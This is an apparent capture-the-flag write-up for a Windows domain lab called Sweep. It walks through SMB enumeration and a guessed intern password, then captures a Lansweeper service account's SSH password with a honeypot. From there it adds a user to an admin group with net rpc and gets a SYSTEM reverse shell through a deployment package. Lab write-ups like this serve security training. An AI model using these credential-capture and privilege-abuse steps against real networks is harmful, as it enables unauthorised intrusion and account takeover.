$ smbclient -N //sweep.vl/DefaultPackageShare$
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Feb 8 20:46:04 2024
.. D 0 Thu Feb 8 20:47:44 2024
Images D 0 Thu Feb 8 20:46:08 2024
Installers D 0 Thu Feb 8 20:46:04 2024
Scripts D 0 Thu Feb 8 20:46:08 2024
5048575 blocks of size 4096. 992684 blocks available
smb: \> ls Scripts/
. D 0 Thu Feb 8 20:46:08 2024
.. D 0 Thu Feb 8 20:46:04 2024
CmpDesc.vbs A 1119 Tue Jan 30 02:47:08 2024
CopyFile.vbs A 728 Tue Jan 30 02:47:08 2024
Wallpaper.vbs A 1245 Tue Jan 30 02:47:08 2024
5048575 blocks of size 4096. 992684 blocks available
Except for a JPG file in Images and the above Visual Basic scripts, there is nothing else on the share.
Having guest access to SMB allows for enumerating domain users by RID brute forcing. Relative Identifiers (RIDs) are identifiers unique to a domain. Unlike the globally unique Security Identifiers (SIDs), the range of possile RIDs is much more limited and feasible for brute forcing.
The domain username policy isn't immediately obvious, as it appears to consist of four letters and three numbers. One username (intern) doesn't adhere to this policy and immediately stands out. If any of the accounts have a weak password, it's likely to be this account. As a wild guess, this account may even be using the account name as their password.
Attempting to log in to the Lansweeper UI with the credentials intern:intern works:
Tip
Another way of testing credentials where the password matches the username is with NetExec:
$ bloodhound-python -u intern -p 'intern' -ns 10.129.54.96 -d sweep.vl -c all
INFO: Found AD domain: sweep.vl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: inventory.sweep.vl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: inventory.sweep.vl
INFO: Found 17 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: inventory.sweep.vl
INFO: Done in 00M 07S
Enumerating the intern user in BloodHound didn't turn up anything of value.
Foothold
There is a lot of built-in functionality in Lansweeper that could be abused for privilege escalation, but none of Basic actions listed in the asset profile page for inventory.sweep.vl are available:
Another Lansweeper feature is target scanning. Again, there are a lot of options available, one of which is Scanning credentials which uses stored credentials for accessing targets. The key here is that the credentials aren't restricted to targets managed by Lansweeper, and can be used for authenticating to any target Lansweeper has network access to, including the attack host. If the password can be captured, it might provide access to a higher privileged service account than the current intern user.
A scan can be created from the Scanning targets page in the Scanning menu. From there, a new scan with the attack host as target is stood up as shown below:
Note
The SSH port is set to a non-standard port on purpose.
Stored credentials can be mapped to the scan by navigating to Scanning credentials. The list of credentials includes two service accounts, one for Linux and one for Windows:
The Linux credentials are for SSH, which means an SSH honeypot like ssheasame is needed to be able to capture them.
With the honeypot up, it takes a few minutes from the scan is triggered until Lansweeper attempts to connect:
$ ./sshesame -config sshesame.yaml
INFO 2025/10/02 20:02:42 No host keys configured, using keys at "/home/admin/.local/share/sshesame"
INFO 2025/10/02 20:02:42 Listening on [::]:9001
2025/10/02 20:05:51 [10.129.54.96:58968] authentication for user "svc_inventory_lnx" without credentials rejected
2025/10/02 20:05:51 [10.129.54.96:58968] authentication for user "svc_inventory_lnx" with password "0|5m-U6?/uAX" accepted
2025/10/02 20:05:51 [10.129.54.96:58968] connection with client version "SSH-2.0-RebexSSH_5.0.8372.0" established
2025/10/02 20:05:51 [10.129.54.96:58968] [channel 0] session requested
2025/10/02 20:05:51 [10.129.54.96:58968] [channel 0] PTY using terminal "xterm" (size 80x25) requested
2025/10/02 20:05:51 [10.129.54.96:58968] [channel 0] shell requested
2025/10/02 20:05:51 [10.129.54.96:58968] [channel 0] input: "smclp"
2025/10/02 20:05:51 [10.129.54.96:58968] [channel 0] input: "show system1"
WARNING 2025/10/02 20:06:01 Error sending CRLF: EOF
2025/10/02 20:06:01 [10.129.54.96:58968] [channel 0] closed
2025/10/02 20:06:01 [10.129.54.96:58968] connection closed
Going back to BloodHound and running a Group Delegated Object Control query on svc_inventory_lnx reveals that this user has GenericAll rights over the Lansweeper Admins group:
This right can be used to add new members to the group. This is valuable, as group members have CanPSRemote (WinRM) access to inventory.sweep.vl:
Note
There is no predefined query in BloodHound for enumerating users with WinRM access, but this can be enumerated using the following raw Cypher queries instead:
$ net rpc group addmem 'Lansweeper Admins' 'intern' -U 'sweep.vl/svc_inventory_lnx%0|5m-U6?/uAX' -S 10.129.54.96
$ net rpc group members 'Lansweeper Admins' -U 'sweep.vl/svc_inventory_lnx%0|5m-U6?/uAX' -S 10.129.54.96
SWEEP\jgre808
SWEEP\intern
As a member of Lansweeper Admins, intern can access the target using Evil-WinRM.
Got the user flag.
Privilege Escalation (Administrator)
In addition to the WinRM rights, Lansweeper Admins members also have additional rights in the Lansweeper UI. In particular this includes permission for deploying packages, which is Lansweeper's terminology for running custom commands and scripts on targets. Abusing this is straight forward. By creating a deployment package with a reverse shell, Lansweeper will connect back to the attack host once the deployment is triggered.
A custom deployment package for is created by navigating to Deployment → New package. From there, details for the deployment are filled out as follows:
In order to deploy the package, it needs to be associated with credentials for the target it's supposed to run on. The obvious choice in this case are the credentials for svc_inventory_win.
Mapping the credentials to the deployment and triggering the it returned a reverse shell in a Netcat listener on the attack host as NT AUTHORITY\SYSTEM:
